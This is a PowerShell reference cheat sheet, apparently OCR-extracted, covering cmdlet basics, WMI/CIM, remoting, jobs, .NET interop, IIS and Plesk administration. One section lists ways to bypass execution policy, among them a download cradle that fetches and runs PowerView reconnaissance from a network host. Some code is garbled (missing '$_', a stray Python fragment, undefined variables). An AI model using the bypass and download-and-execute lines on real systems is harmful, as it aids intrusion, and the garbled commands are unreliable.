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#Powershell basics:
#Displays help information.
Get-Help *event*
Get-Help Get-EventLog
Get-Help Get-EventLog -Online
#Update help.
Update-Help
#Gets all commands that are installed on the computer, including cmdlets,
aliases, functions, workflows, filters, scripts, and applications.
Get-Command -CommandType Cmdlet
#Lets you create a Windows PowerShell command in a command window.
Show-Command
#Gets approved Windows PowerShell verbs.
Get-Verb
#Gets the aliases in the current session
Get-Alias
Get-Alias -Definition 'Get-Service'
#To view the default module locations.
$env:psmodulepath
#Gets the modules that have been imported or that can be imported into the
current session.
Get-Module
Get-Module -ListAvailable
#Gets the members, the properties and methods, of objects.
Get-Member
#Selecting properties.
Get-EventLog -LogName Security | Select-Object -Property EventID, Message
#Performs an operation against each item in a collection of input objects.
Get-Process | ForEach-Object { $ .path }
$computers = 'SRV1', 'SRV2', 'SRV3'
$computers[0]
$computers = $computers | ForEach-Object {$ .ToLower()}
#Selects objects from a collection based on their property values.
Get-EventLog -LogName Security | Where-Object {$ .EventID -eq 4624}
#Compares two sets of objects.
Compare-Object -ReferenceObject (Import-Clixml .\p.xml) -DifferenceObject
(Get-Process) -Property name
#Sort objects.
Get-Process | Sort-Object -Property Vm -Descending
#Batch cmdlets.
Get-Service | Stop-Service
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#Declare variable type.
Get-Help about Variables
[int]$number = Read-Host "Enter a number"
#Input/Output.
Read-Host "Enter a number"
Write-Host "Colorful!" -Fore yellow -back magenta
Write-Host "Hello" | Where-Object {$ .length -gt 10}
Write-Output "Hello" | Where-Object {$ .length -gt 10}
Write-Warning
Write-Verbose
Write-Debug
Write-Error
#Unrolling properties and methods.
Get-Service | Select-Object -ExpandProperty Name
Get-Service | ForEach-Object {Write-Output $ .Name}
#Script Block.
$block = {Get-Process | Sort-Object -Property vm -Descending | Select-Object
-First 10}
&$block
#New module manifest.
New-ModuleManifest -Path PSHTools.psdl -Author 'Mario Acosta' -CompanyName
'ACME' -Copyright '(c)2018 Mario Acosta' -Description 'Sample WMI Tools' -
ModuleVersion 1.0 -PowerShellVersion 3.0 -RootModule .\PSHTools.psm1
#Powershell Extensions:
#PSSnapin.
Gets the Windows PowerShell snap-ins on the computer.
Get-PSSnapin -Registered
#Modules.
Get-Content Env:PSModulePath
#Gets the modules that have been imported or that can be imported into the
current session.
Get-Module -ListAvailable
#Adds modules to the current session.
Import-Module
#Execution Policy:
#Gets the execution policies for the current session.
#Note: The execution policy is not a security system that restricts user
actions.
Get-ExecutionPolicy -List
#Changes the user preference for the Windows PowerShell execution policy.
Set-ExecutionPolicy Bypass
Set-ExecutionPolicy Restricted -Scope CurrentUser
Set-ExecutionPolicy AllSigned -Scope CurrentUser
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser
Set-ExecutionPolicy Unrestricted -Scope CurrentUser
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Set-ExecutionPolicy Bypass -Scope CurrentUser
#Bypass Powershell execution policy.
#Method 1
Powershell.exe -executionpolicy Bypass -File .\PowerView.ps1
echo Write-Host "Bypass" | Powershell -noprofile -
#Method 3
Get-Content .\PowerView.ps1 | powershell.exe -noprofile -
#Method 4
Powershell.exe -Command "Write-Host 'Bypas!'"
#Method 4
Invoke-Command -ScriptBlock {Write-Host 'Bypass'}
#Method 5
$write = "write-host 'bypass!!'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($write)
Powershell.exe -EncodedCommand $encoded
#Method 6
Powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object
Net.WebClient).DownloadString('http://172.16.20.201/pw/Recon/PowerView.ps1');
Get-NetDomainController -Domain contoso.lab
#Windows PowerShell provider:
#Windows PowerShell providers let you access a variety of data stores as
though they were file system drives.
Get-PSProvider -PSProvider Registry
Get-Item 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion'
Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion'
Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion' -REcurse
#Sets the current working location to a specified location.
Set-Location REGISTRY::
#Creates temporary and persistent mapped network drives.
New-PSDrive -name RegistryDrive -PSProvider Registry -Root
Registry:: HKEY CLASSES ROOT
cd RegistryDrive:
#Gets information about the specified Windows PowerShell provider.
Get-PSProvider
#Gets drives in the current session.
Get-PSDrive
#List cmdlets to use with PSDrive.
Get-Command -Noun *Item*
#Sets the current working location to a specified location.
Set-Location -Path C:\
#Creates a new item.
New-Item -ItemType Directory -Name Test2
#Gets the properties of a specified item.
Get-ItemProperty
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#Gets the files and folders in a file system drive.
Get-ChildItem
#Powershell Formatting:
#Formating tables.
Get-Service | Format-Table -AutoSize
Get-WmiObject Win32 OperatingSystem | Format-Table -Autosize
Get-Process | Format-Table -Property * -AutoSize
Get-Process | Format-Table -Property ID, Name, Responding -AutoSize
Get-Service | Sort-Object Status | Format-Table -GroupBy Status
Get-EventLog -LogName System -Newest 5 | Format-Table Source, Message -
AutoSize -Wrap
#Formating List.
Get-ChildItem | Format-List
Get-EventLog -LogName System -Newest 5 | Format-List -Property *
#Formating wide list.
Get-ChildItem | Format-Wide -Column 4
Get-EventLog -LogName Security -Newest 5 | Format-Wide -Property EventID -
Column 1
#Custom columns and list entries
Get-Service | Format-Table
@{name='ServiceName';expression={$ .Name}},Status,DisplayName
Get-Process | Format-Table -Property Name,
@{name='VM(MB)';expression={$ .VM/1MB -as [int]}} -AutoSize
Get-Process | Format-Table -Property Name,
@{name='VM(MB)';expression={$_.VM/1MB -as
[int]};formatstring='F2';align='right'} -AutoSize
#Out to.
Out-Host
Out-File
Out-Printer
Out-GridView
#Deletes output instead of sending it down the pipeline.
Get-Service | Out-Null
#Sends output to the command line.
Get-Service | Out-Host -Paging
#Sends output to a file.
Get-Service | Out-File services.txt
Get-ChildItem | Out-File -FilePath a.txt
#Sends output to an interactive table in a separate window.
Get-ChildItem | Out-GridView
#Convert to HTML.
Get-Process | ConvertTo-Html | Out-File p.html
#PowerShell Pipeline:
#Export/Import to CSV.
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Get-Process | Export-Csv p.csv
Import-Csv .\p.csv

#Export/Import to xml.

Get-EventLog -LogName Security -Newest 50 | Export-Clixml 1.xml
Import-Clixml .\1.xml

#CIM/WMI:

#Windows Management Instrumentation (WMI) is Microsoft's implementation of Web-Based Enterprise Management (WBEM), the industry standard.
#Classic WMI uses DCOM to communicate with networked devices to manage remote systems. Windows PowerShell 3.0 introduces a CIM provider model that uses WinRM to remove the dependency on DCOM.

#The following three components of WMI interact with Windows PowerShell: Namespaces, Providers, and Classes.

#Namespaces are not physical locations, but are more like logical databases. All WMI namespaces are instances of the __Namespace system class. The default WMI namespace is Root/CIMV2

#To find WMI classes that are related to memory.

#Starting in Windows PowerShell 3.0, this cmdlet has been superseded by Get-CimInstance

Get-WmiObject -List *Video*

#Get processes on the local computer.
Get-WmiObject -Class Win32 Process | Select-Object ProcessName

#Get WMI classes in the root or default namespace of the local computer. Get-WmiObject -Namespace "root/default" -List

#Get WMI namespaces in the current session, use a command with the following format.

Get-WmiObject -Class Namespace

 $\mbox{\tt\#To}$ get WMI namespaces in other namespaces, use the Namespace parameter to change the location of the search.

Get-WmiObject -Class Namespace -Namespace root/cimv2/applications

#Get a named service on multiple computers.

Get-WmiObject -Class Win32_Service | Select-Object PSComputerName, Name, state Get-WmiObject -Query "select * from win32_service" | Select-Object

PSComputerName, Name, state

Get-WmiObject -Class Win32_Service -Filter "name='WinRM'" | Select-Object
PSComputerName, Name, state

Get-WmiObject -Class Win32_Service -Filter "name='WinRM'" -ComputerName CLI-1,CLI-2,CLI-4 | Select-Object PSComputerName,Name,state

\$bios = Get-WmiObject -Class Win32_Bios
\$bios.Manufacturer

#The Invoke-WmiMethod cmdlet calls the methods of Windows Management Instrumentation (WMI) objects.

#New Common Information Model (CIM) cmdlets, introduced in Windows PowerShell 3.0, perform the same tasks as the WMI cmdlets. The CIM cmdlets comply with WS-Management (WSMan) standards and with the CIM standard, which enables the

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cmdlets to use the same techniques to manage Windows computers and those
running other operating systems. Instead of using Invoke-WmiMethod , consider
using Invoke-CimMethod.
#CIM/WMI Invoking methods.
Get-WmiObject win32 networkadapterconfiguration -filter "description like
'%real%'" | Invoke-WmiMethod -name EnableDHCP
Get-WmiObject -Class Win32 Service -Filter "name='BITS'" | ForEach-Object -
Process {$ .change($null,$null,$null,$null,$null,$null,$null,$null,"P@sswOrd")}
Get-WmiObject -Class Win32 Service -Filter "name='BITS'" | %
{$ .change($null,$null,$null,$null,$null,$null,$null,"P@sswOrd")}
Get-CimInstance -ClassName win32 networkadapterconfiguration -filter
"description like '%real%'" | Invoke-CimMethod -MethodName EnableDHCP
#Start an instance of an application.
Get-WmiObject -Class win32 process -List | Select-Object -ExpandProperty
(Get-WmiObject -Class win32 process -List).GetMethodParameters('create')
Invoke-WmiMethod -Path win32 process -Name create -ArgumentList notepad.exe
#The Remove-WmiObject cmdlet deletes an instance of an existing Windows
Management Instrumentation (WMI) class.
Invoke-WmiMethod -Path win32 process -Name create -ArgumentList
"powershell.exe -c Get-Service -noexit"
Get-WmiObject -Class win32 process -Filter "Name='Powershell.exe'" -
ComputerName CLI-1
Get-WmiObject -Class win32 process -Filter "Name='Powershell.exe'" -
ComputerName CLI-1 | Remove-WmiObject
Invoke-WmiMethod -Path win32 process -Name create -ArgumentList "notepad.exe"
-ComputerName CLI-1
(Get-WmiObject -Class win32 process -Filter "Name='Notepad.exe'" -
ComputerName CLI-1).terminate()
#COM Objects:
#Exploring
Get-ChildItem REGISTRY::HKEY CLASSES ROOT\CLSID -include PROGID -recurse |
Foreach {$ .GetValue("")}
#Creating and using COM object.
$wscript = New-Object -ComObject WScript.Shell.1
$wscript.CurrentDirectory
$wscript.Popup("Hello")
$wscript.Exec("notepad.exe")
#PowerShell Remoting:
#Based on WSMAN Protocol and uses WinRM.
#Use a protocol call Web Services Of Management (WS-MAN)
#WS-MAN operates over HTTP or HTTPS (Default needs port 5985/HTTP and
5986/HTTPS)
#WS-MAN is implemented in form of a background WinRM services.
#Enable remoting.
Enable-PSRemoting
#They communicate over remote procedure calls RPCs (legacy cmdlets).
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Get-WmiObject
Get-WmiObject -Namespace root\cimv2 -list
Get-WmiObject -Namespace root\cimv2 -class win32 desktop
Get-WmiObject Win32 Bios -ComputerName CLI-1, CLI-2, DC-1 | Format-Table
@{label='ComputerName';expression={$ . Server}},@{label='BiosSerial';express
ion={$ .SerialNumber}},@{label='OSBuild';expression={gwmi -class
win32 operatingsystem -computer $ . SERVER | Select-Object -expand
BuildNumber} -autosize
Invoke-WmiMethod
#They communicate over WS-MAN (Implemented by the Windows Remote Management
or WinRM service).
Get-CimInstance
Invoke-CimMethod
Get-CimInstance -ClassName Win32 logicalDisk
#To verify that remoting is configured correctly.
#Note:To create remote sessions and run remote commands, by default, the
current user must be a member of the Administrators group on the remote
computer or provide the credentials of an administrator. Otherwise, the
command fails.
New-PSSession
#Several cmdlets have a ComputerName parameter that lets you get objects from
remote computers.
#These cmdlets do not use WS-Management-based Windows PowerShell remoting
Get-Command | where { $ .Parameters.Keys -contains "ComputerName" -and
$ .Parameters.Keys -NotContains "Session"}
#PSSSession.
Enter-PSSession -ComputerName CLI-3
Exit-PSSession
#Closes one or more Windows PowerShell sessions (PSSessions).
Remove-PSSession -Id 12
#Runs commands on local and remote computers.
Invoke-Command -ComputerName CLI-1, CLI-3 -command {Get-EventLog Security -
newest 10 | Where-Object -filter {$ .EventID -eq 1212}}
Invoke-Command -ComputerName DC-1 -ScriptBlock {Get-Host} -Credential
DOMAIN\Administrador
Invoke-Command -ComputerName DC-1, DC-2 -ScriptBlock {Get-
ADDefaultDomainPasswordPolicy} -Credential DOMAIN\Administrador
Invoke-Command -ScriptBlock {Get-CimInstance -ClassName Win32 logicalDisk} -
ComputerName DC-1 -Credential DOMAIN\Administrador
$version = Invoke-Command -ComputerName (Get-Content .\hosts.txt) -
ScriptBlock {Get-Host | Select-Object -ExpandProperty Version}
#Run a script on a server.
Invoke-Command -ComputerName CLI-4, CLI-2 -FilePath .\Check-VM.ps1
#To run a series of related commands that share data, use the New-PSSession
cmdlet to create a PSSession (a persistent connection) on the remote
computer.
$s = New-PSSession CLI-4, CLI-2
Invoke-Command -Session $s -ScriptBlock {$p = Get-Process}
Invoke-Command -Session $s -ScriptBlock {$p | foreach {$ .ProcessName}}
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#Enter a command stored in a local variable.
$s = New-PSSession CLI-4, CLI-2
$command = {Get-EventLog -Log Security -Newest 1 | Select-Object -
ExpandProperty Message}
Invoke-Command -Session $s -ScriptBlock $command
#Implicit remoting.
$session = New-PSSession -ComputerName DC-1
Invoke-Command -Command {import-module activedirectory} -Session $session
Import-PSSession -Session $session -module activedirectory -Prefix rem
New-remADuser
#Powershell Jobs:
#Start Jobs.
Start-Job -ScriptBlock {dir}
Start-Job -ScriptBlock {Get-EventLog -LogName Security -Newest 5 -
ComputerName DC-1}
Get-Help * -Parameter asjob
Get-WmiObject win32 operatingsystem -ComputerName DC-1,CLI-1,CLI-2 -AsJob
Invoke-Command -Command {Get-Process} -ComputerName DC-1, SRV1, SRV2, SRV3 -
AsJob -JobName MyJob
#Get jobs.
Get-Job
Get-Job -Id 1 | Format-List *
#Stop a job.
Stop-Job -id 6
#Receive a job.
Receive-Job -Id 1
Receive-Job -Id 6 -Keep
#Deletes a job.
Get-Job | Remove-Job
Remove-Job -id 1
#Run a background job on several remote computers.
$s = New-PSSession CLI-4, CLI-2
Invoke-Command -Session $s -ScriptBlock{Get-EventLog -LogName "*Powershell" -
Newest 5} -AsJob
$j = Get-Job
$results = $j | Receive-Job
Invoke-Command -ScriptBlock {Get-ChildItem -path C:\ -Recurse -File -Name
*.ps1Get-ChildItem -path C:\ -Recurse -File -Name *.ps1} -ComputerName DC-
1,SRV1,CLI-1 -AsJob
#Scheduled Job.
Register-ScheduledJob -Name DailyProcList -ScriptBlock {Get-Process} -Trigger
(New-JobTrigger -Daily -At 2am) -ScheduledJobOption (New-ScheduledJobOption -
WakeToRun -RunElevated)
Get-ScheduledJob
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$trigger=New-JobTrigger -At "6:00AM" -DaysOfWeek "Monday", "Tuesday" -Weekly
$command={Get-EventLog -LogName System -Newest 25 -EntryType Error | Export-
Clixml c:\err.xml}
Register-ScheduledJob -Name "System Errors" -ScriptBlock $command -Trigger
$trigger
Get-ScheduledJob -Id 3
#.NET:
#Load assembly manually.
[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic') |
Out-null
#Instantiating a class.
$drive = New-Object -TypeName System.IO.DriveInfo -ArgumentList 'c:'
#Using reflection : Get-Member utilizes a .Net Framework feature called
reflection to see an object's members.
$drive | Get-Member
#Creates an instance of a Microsoft .NET Framework or COM object.
New-Object -TypeName System. Diagnostics. EventLog -ArgumentList Application
$wsh = New-Object -ComObject Wscript.Shell
#Explore assemblies.
[System.AppDomain]::CurrentDomain.GetAssemblies()
#Public Types.
[System.AppDomain]::CurrentDomain.GetAssemblies() | foreach {$ .GetTypes()} |
Where-Object {$_.IsPublic -eq "True"}
$cla = [System.AppDomain]::CurrentDomain.GetAssemblies() | foreach
{\$_.GetTypes()} | Where-Object {\$_.IsPublic -eq "True"}
$proc = $cla | Where-Object {$ .Name -contains "process"}
$proc.GetMethods() | Where-Object {$ .IsStatic -eq "True"} | Select-Object
$proc | Get-Member -MemberType Method -Static
[System.Diagnostics.Process]::GetProcesses()
$proc::GetProcesses()
#Adds a.NET Framework type (a class) to a Windows PowerShell session.
Add-Type -AssemblyName System.Windows.Forms
[System.Windows.Forms.MessageBox]::Show("Hello", "Powershell", [System.Windows.
Forms.MessageBoxButtons]::YesNo)
$hots=[System.Net.Dns]::GetHostAddresses("www.google.com.pe")
#Add a .NET type to a session.
$Source = @"
   public class Test
      public static string Hello()
            return ("Hello Powershell!");
      public int sumar(int a, int b)
        return (a + b);
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Add-Type -TypeDefinition $source
[Test]::Hello()
$objectTest= New-Object Test
$objectTest.add(1,2)
#Generates a DLL file for the assembly.
Add-Type -TypeDefinition $source -OutputType Library -OutputAssembly
C:\Users\macos\Desktop\TestPS.dll
Add-Type -Path C:\Users\macos\Desktop\TestPS.dll
$n = New-Object ([Test]::new())
n.sumar(1,2)
#Call native Windows APIs.
$Signature = @"
[DllImport("user32.dll")]public static extern bool ShowWindowAsync(IntPtr
hWnd, int nCmdShow);
u a
$ShowWindowAsync = Add-Type -MemberDefinition $Signature -Name
"Win32ShowWindowAsync" -Namespace Win32Functions -PassThru
# Minimize the Windows PowerShell console.
$ShowWindowAsync::ShowWindowAsync((Get-Process -Id $pid).MainWindowHandle, 2)
# Restore it.
$ShowWindowAsync::ShowWindowAsync((Get-Process -Id $Pid).MainWindowHandle, 4)
#Miscellaneous:
#The ConvertTo-SecureString cmdlet converts encrypted standard strings into
secure strings.
#Converts encrypted standard strings to secure strings. It can also convert
plain text to secure strings
ConvertTo-SecureString "Mi Clave" -AsPlainText -Force
#Convert a secure string to an encrypted string.
$Secure = Read-Host -AsSecureString
$Encrypted = ConvertFrom-SecureString -SecureString $Secure
$Secure2 = ConvertTo-SecureString -String $Encrypted
#Create a secure string from an encrypted string in a file.
$Secure = Read-Host -AsSecureString
$Encrypted = ConvertFrom-SecureString -SecureString $Secure -Key (1..16)
$Encrypted | Set-Content Encrypted.txt
$Secure2 = Get-Content Encrypted.txt | ConvertTo-SecureString -Key (1..16)
#The ConvertFrom-SecureString converts a secure string to an encrypted
standard string.
#Convert a secure string to an encrypted standard string with a 192-bit key
$SecureString = Read-Host -AsSecureString
$StandardString = ConvertFrom-SecureString $SecureString
\text{$Key} = (3,4,2,3,56,34,254,222,1,1,2,23,42,54,33,233,1,34,2,7,6,5,35,43)
$StandardString = ConvertFrom-SecureString $SecureString -Key $Key
#Gets a credential object based on a user name and password.
$credential = Get-Credential
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# Powershell Global #
# Help or Manual pages with Examples
man gwmi -examples ## help
# List Global Aliases
alias | findstr /i ps ## Get-Alias
# List all Commands
gcm ## Get-Command
# List Environment Variables
gci env: ## Get-ChildItem/dir
Set-Item -path env:TEAMS -value ($env:TEAMS + "finance")
# List Available Modules
gmo -listavailable ## Get-Module
# List Module Commands
gcm -module webadministration ## Get-Command
# List Roles and Features Installed
ipmo servermanager; get-windowsfeature | findstr '\[X\]'
###############
# Formatting #
##############
# User Input (read [-p])
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$input = read-host "Choose an option: "
# Limit Output per Page (less/more)
gci -r | more
# Send Output to File
cat file.txt | Out-File [-append] ## >
# Pipe Output to File (tee)
get-process | tee-object -file C:\output.txt
# Format Output in Columns or List (column -t)
dir | findstr "dll" | format-list
ps powershell | format-table -AutoSize -Wrap
# Sort Output by Column
dir | sort-object lastwritetime
# Trim/Select Output (head/tail)
gci | select -first 10
gci | select -last 10
gci | select -skip 1
# Pattern Matching (grep [-o|-v])
gci -r | findstr /i "string"
dir | ?{ $_ -match "dll|exe" } ## NOT case-sensitive
9]{1,3}" } ## exclude
cat file.txt | select-string -not "^$|^#"
# Exclude Newline (echo -n)
$output | write-host -nonewline
# Replace Strings (sed/replace)
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ps | foreach{$_ -replace "abc", "def"}
cat file.txt | %{ $a = $_ -replace "\s+", " "; $parts = $a.split();
$parts[1] }
# Count Lines (wc -1)
dir | measure-object ## total entries
echo $orderedlist | group-object ## sorted list
# Split Columns (awk/cut)
dir | %{ $_.fullname.split('\')[-1].split('.')[0] }
# Sum all Fields in a Column
cat .\test.csv | %{ [int]$total+=$_.Split(',')[2]; }; Write-Host
"Total: $total" ## Get-Content
# Number of Matches of a Pattern
Get-Content .\test.csv | %{ $a=$_.Split(','); Write-Host "Total
Fields"$a[0]"="$a.length; }
########
# Logic #
#########
# For Loop (for)
dir | foreach { echo $_ }
dir | %{ echo $_ }
# Test if File Exists (-f|-d|-e)
test-path file.txt
# Time Duration of Command
measure-command { ps | out-host }
## OR
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{ps | out-null}; $cmd = get-history -count 1; $cmd.endexecutiontime -
$cmd.startexecutiontime
# Sleep Delay
start-sleep 3; ps
##############
# Filesystem #
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# Locate File or Directory (find)
gci -rec | ?{ $\_-match "[a-z]+\.[a-z]+" } ## Where-Object
# Disk Usage / List all Drives
gdr -psprovider 'filesystem' ## Get-PSDrive
gwmi -query "select * from win32_logicaldisk where DriveType = '3'"
## Get-WmiObject
# Disk Usage (du)
dir -rec C:\subdir | %{ $total += $_.length }; write-host "Total:
$total"; ## SLOW
# Process List
ps
## OR
proc = subprocess.Popen([echo 'hello'], stdout=subprocess.PIPE,
shell=True)
(out.err) = proc.communicate()
print out
# Run an executable (eg. ./script.ps1)
&$env:plesk_bin\dbclient
&${env:plesk_bin}\dbclient.exe
"$env:plesk_bin\dbclient.exe"
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"&$env:plesk_bin\dbclient.exe"
# Pass Argument Array to Executable
$arglist = @('-arg1', 'C:\path', '-arg2', 'file.txt')
& 'application.exe' $arglist
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# Network #
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# Network Statistics
netstat -oaf | ?{ $_ -notmatch "UDP" } ## -b to show EXE
netstat -es ## Sent/Received/Errors + Statistics per protocol
netstat -r ## Routing table
# Search the Firewall
(new-object -comobject hnetcfg.fwpolicy2).rules | ?{ $_.enabled -eq
$true } | ?{ $_.remoteaddresses -match $ip }
# Download URL
(new-object system.net.webclient).downloadfile($url, $path)
# Execute Remote Commands
set-executionpolicy remotesigned -force;
(new-object
System.Net.WebClient).DownloadFile('https://files.hostname.com/script
.ps1', 'C:\filedir\script.ps1');
'C:\filedir\script.ps1';
rm 'C:\filedir\script.ps1';
# Add DNS zones back to MSDNS
dir "$env:windir\System32\dns\*.dns" | %{
$zone = $_.name -replace ".dns$", ""; echo "loading $zone..."; dnscmd
/zoneadd $zone /primary /load; }
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# Mitigate SYN Flood
New-Item "HKLM:\system\currentcontrolset\services\tcpip\parameters"
## -Force to delete first
New-ItemProperty -Path
"HKLM:\system\currentcontrolset\services\tcpip\parameters" -Name
'synattackprotect' -Value 1 -PropertyType "DWORD" -Force
New-ItemProperty -Path
"HKLM:\system\currentcontrolset\services\tcpip\parameters" -Name
'tcpmaxconnectresponseretransmissions' -Value 2 -PropertyType "DWORD"
-Force
New-ItemProperty -Path
"HKLM:\system\currentcontrolset\services\tcpip\parameters" -Name
'tcpmaxdataretransmissions' -Value 3 -PropertyType "DWORD" -Force
New-ItemProperty -Path
"HKLM:\system\currentcontrolset\services\tcpip\parameters" -Name
'enablepmtudiscovery' -Value 0 -PropertyType "DWORD" -Force
##########
# Objects #
###########
# Determine Object Type
(pwd).gettype() ## Object[]
(pwd|out-string).gettype() ## String
# List all Object Properties
ps powershell | format-list -property *
# List Properties of the Object Type
ps powershell | gm ## Get-Member
(ps powershell).gettype() | gm ## same thing
# Typecast - Force Type as an Array/String
[string](dir) ## String
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dir | out-string ## String
$procs = @($str) ## Object[]
#######
# IIS #
#######
# Import IIS Module
ipmo webadministration ## Import-Module
# List all Sites
gci IIS:\Sites | select-object
name,applicationpool,physicalpath,state | format-table -autosize
# List all Applicaiton Pools
gci IIS:\AppPools | select-object
name,managedruntimeversion,managedpipelinemode,state | format-table -
autosize
# List all Application Pool users
dir IIS:\apppools | select name | %{ write-host $_.name"-
"$ .processmodel.username }
# Restart an Application Pool
(get-item "IIS:\AppPools\$pool").Start()
# Generate Application Pool password
Add-Type -Assembly System.Web
$pass = [Web.Security.Membership]::GeneratePassword(16,5)
# Reset Application Pool user password
net user "$identity" "$pass"
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Set-ItemProperty "IIS:\AppPools\$pool" -name processModel -value
@{userName="$identity";password="$pass";identitytype=3}
# Show High Usage of Process (eg. w3wp.exe)
&${env:windir}\system32\inetsrv\appcmd.exe list wp | %{
$a=$_.replace('"','').split(' '); ps -id $a[1]; $a[2] } ## Ugly
format
# Add bindings to existing site
gci IIS:\Sites | %{ $_.name } | ?{ $_ -match "[a-zA-Z0-9\.]+\.[a-zA-
Z]+" } \
       &${env:windir}\system32\inetsrv\appcmd.exe" set site \
       /site.name:"webmail(horde)" \
       /+"bindings.[protocol='http',bindingInformation='$binding']"
}
#########
# Plesk #
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# Show Plesk Version
type $env:plesk dir\version
# Show Available Plesk Versions
&$env:plesk_dir\admin\bin\ai.exe --show-all-releases
# Upgrade to Latest or Specified Version
&$env:plesk_bin\ai.exe --select-product-id panel --select-release-
current --reinstall-patch --install-component base
&$env:plesk_bin\dbupgrade.exe --upgrade --from-version=9.5.4 --to-
version=10.4.4
## Repeat for every major version
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# Retrieve/Set Plesk Admin Password
&$env:plesk_bin\plesksrvclient -get
&$env:plesk_bin\plesksrvclient -set PASSWORD
# Plesk Database (psa) Tables
dir $env:plesk_dir\MySQL\Data\psa\*.frm | %{
$_.name.replace('.frm','') }
# Plesk Debug Mode
&$env:plesk_dir\admin\conf\panel.ini ## rename panel.ini.sample
###########
# Registry #
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# Add New Registry Entry
New-Item "HKLM:\SYSTEM\CurrentControlSet\XYZ" ## -Force to
delete/recreate folder
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\XYZ" -Name
Enabled -Value 0 -PropertyType "DWORD" -Force
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